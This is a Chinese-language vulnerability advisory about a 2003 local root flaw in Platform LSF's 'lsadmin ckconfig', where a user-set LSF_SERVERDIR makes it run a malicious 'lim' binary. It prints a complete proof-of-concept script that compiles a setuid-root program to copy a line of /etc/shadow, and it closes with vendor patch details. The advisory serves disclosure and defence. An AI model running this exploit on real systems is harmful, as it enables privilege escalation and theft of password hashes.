Platform Load Sharing Facility LSF_ENVDIR本地命令执行漏洞
发布日期:2003-05-22
更新日期:2003-05-27
受影响系统:Platform LSF 5.1
Platform LSF 5.0
Platform LSF 4.2
Platform LSF 4.0
- HP HP-UX 11.20
- IBM AIX 4.3.3
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- SGI IRIX 6.5.14
- SGI IRIX 6.5.13
- SGI IRIX 6.5.12
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10
- Sun Solaris 8.0
- Sun Solaris 7.0
描述:
BUGTRAQ ID:
7655
Load Sharing Facility (LSF)是一款由Platform公司开发的分布式异构计算机环境的负载管理系统。
Load Sharing Facility (LSF)不正确处理环境变量的输入,本地攻击者可以利用这个漏洞提升权限。
Load Sharing Facility (LSF)的'lsadmin'工具包含'ckconfig'命令用于检查配置文件是否正确,在启动的时候会调用外部'lim'二进制程序,不过它使用lsf.conf文件中的LSF_SERVERDIR环境变量获得'lim'程序。一般用户可以建立自己的lsf.conf,通过使用LSF_ENVDIR变量,迫使'lsadmin'使用自己的配置文件来代替/etc/lsf.conf文件,因此攻击者通过更改'LSF_SERVERDIR'变量,运行恶意的'lim'程序,可导致以root用户权限执行任意命令。
<*来源:Tomasz Grabowski (
cadence@apollo.aci.com.pl)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=105361879109409&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Tomasz Grabowski (
cadence@apollo.aci.com.pl)提供了如下测试方法:
# LSF 5.1 'lsadmin' local root exploit
# 2003.03.20 - CADENCE of Lam3rZ
# Proof of concept - for educational purposes only!
cat <<__END__> attacker_code.c
#include <stdio.h>
int main() {
FILE *secret_file;
FILE *temp_file;
char one_line[128];
setuid(0);setgid(0);
secret_file = fopen("/etc/shadow", "r");
temp_file = fopen(".temp.file", "w");
fgets(one_line, 120, secret_file);
fputs(one_line, temp_file);
fclose(secret_file); fclose (temp_file);
}
__END__
gcc attacker_code.c -o lim
chmod 777 lim
export LSF_SERVERDIR=.
lsadmin ckconfig
cat .temp.file
rm -f attacker_code.c lim .temp.file
建议:
厂商补丁:
Platform
--------
登录Platform FTP站点,下载lsadmin补丁:
ftp ftp.platform.com
location: /patches/5.1/patch/sup_by_dev33993/
file: lsadmin5.1_<os>.Z
不过需要联系
support@platform.com获得用户名和密码进行访问。
浏览次数:4427
严重程度:0(网友投票)